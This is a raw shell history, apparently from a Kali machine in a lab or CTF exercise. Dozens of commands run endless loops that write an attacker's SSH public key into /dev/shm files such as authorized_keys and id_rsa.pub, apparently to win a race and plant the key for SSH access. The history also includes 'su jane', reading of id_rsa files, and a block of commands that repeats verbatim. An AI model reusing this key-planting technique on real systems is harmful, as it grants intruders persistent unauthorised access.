 1387  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys/id_rsa.pub* > /dev/null; done
380
 1388  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys* > /dev/null; done
381
 1389  ls -la
382
 1390  cd keys/
383
 1391  ls -la
384
 1392  cat id_rsa.pub\*
385
 1393  clear
386
 1394  ls a- l
387
 1395  clear
388
 1396  ls -la
389
 1397  cat id_rsa.pub\*
390
 1398  cd..
391
 1399  cd ..
392
 1400  clear
393
 1401  ls -la
394
 1402  cd l
395
 1403  cd keys/
396
 1404  ls -la
397
 1405  rm -r id_rsa.pub\*
398
 1406  clear
399
 1407  ls -la
400
 1408  cd ..
401
 1409  ls -a l
402
 1410  rm -r keys/
403
 1411  clear
404
 1412  ls -al
405
 1413  ls -la
406
 1414  cd ..
407
 1415  cd shm/
408
 1416  ls -la
409
 1417  su jane
410
 1418  clear
411
 1419  ls -]al
412
 1420  clear
413
 1421  ls -la
414
 1422  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm* > /dev/null; done
415
 1423  clear
416
 1424  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/id_rsa.pub > /dev/null; done
417
 1425  clear
418
 1426  ls -la
419
 1427  rm -r id_rsa.pub
420
 1428  clear
421
 1429  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/id_rsa.pub > /dev/null; done
422
 1430  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/authorized_keys > /dev/null; done
423
 1431  clear
424
 1432  ls -la
425
 1433  cat id_rsa
426
 1434  rm -r id_rsa
427
 1435  ls -la
428
 1436  clear
429
 1437  ls -al
430
 1438  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/authorized_keys > /dev/null; done
431
 1439  ls
432
 1440  clear
433
 1441  ls -a
434
 1442  ls -la
435
 1443  cat authorized_keys
436
 1444  clear
437
 1445  ls -la
438
 1446  rm -r authorized_keys
439
 1447  rm -r id_rsa.pub
440
 1448  clear
441
 1449  ls -la
442
 1450  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/authorized_keys > /dev/null; done
443
 1451  ls -la
444
 1452  clear
445
 1453  ls -la
446
 1454  rm -r authorized_keys
447
 1455  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/id_rsa.pub > /dev/null; done
448
 1456  clear
449
 1457  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/id_rsa.pub > /dev/null; done
450
 1458  clear
451
 1459  ls -la
452
 1460  rm --
453
 1461  rm -r id_rsa.pub
454
 1462  ls -al
455
 1463  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/id_rsa.pub > /dev/null; done
456
 1464  clear
457
 1465  ls -al
458
 1466  ls -la
459
 1467  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/id_rsa.pub > /dev/null; done
460
 1468  ls -al
461
 1469  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys/id_rsa.pub* > /dev/null; done
462
 1470  cd /dev/shm/
463
 1471  ls -al
464
 1472  cd keys/
465
 1473  ls
466
 1474  touch file.txt
467
 1475  cd ..
468
 1476  cd /tmp/
469
 1477  cd t
470
 1478  cd test/
471
 1479  touch file.txt
472
 1480  cd ..
473
 1481  touch file.txt
474
 1482  rm -r
475
 1483  rm -r file.txt
476
 1484  cd t
477
 1485  cd test/
478
 1486  ls -al
479
 1487  touch file.txt
480
 1488  cd /dev/shm/
481
 1489  ls -la
482
 1490  cd keys/
483
 1491  ls
484
 1492  cd..
485
 1493  clear
486
 1494  ls -al
487
 1495  cd ..
488
 1496  ls -la
489
 1497  rm -r keys/
490
 1498  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys* > /dev/null; done
491
 1499  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys/id_rsa.pub* > /dev/null; done
492
 1500  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys/id_rsa.pub > /dev/null; done
493
 1501  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys* > /dev/null; done
494
 1502  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys/id_rsa.pub* > /dev/null; done
495
 1503  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys* > /dev/null; done
496
 1504  ls -la
497
 1505  cd keys/
498
 1506  ls -la
499
 1507  cat id_rsa.pub\*
500
 1508  clear
501
 1509  ls a- l
502
 1510  clear
503
 1511  ls -la
504
 1512  cat id_rsa.pub\*
505
 1513  cd..
506
 1514  cd ..
507
 1515  clear
508
 1516  ls -la
509
 1517  cd l
510
 1518  cd keys/
511
 1519  ls -la
512
 1520  rm -r id_rsa.pub\*
513
 1521  clear
514
 1522  ls -la
515
 1523  cd ..
516
 1524  ls -a l
517
 1525  rm -r keys/
518
 1526  clear
519
 1527  ls -al
520
 1528  ls -la
521
 1529  cd ..
522
 1530  cd shm/
523
 1531  ls -la
524
 1532  su jane
525
 1533  clear
526
 1534  ls -]al
527
 1535  clear
528
 1536  ls -la
529
 1537  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm* > /dev/null; done
530
 1538  clear
531
 1539  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/id_rsa.pub > /dev/null; done
532
 1540  clear
533
 1541  ls -la
534
 1542  rm -r id_rsa.pub
535
 1543  clear
536
 1544  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/id_rsa.pub > /dev/null; done
537
 1545  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/authorized_keys > /dev/null; done
538
 1546  clear
539
 1547  ls -la
540
 1548  cat id_rsa
541
 1549  rm -r id_rsa
542
 1550  ls -la
543
 1551  clear
544
 1552  ls -al
545
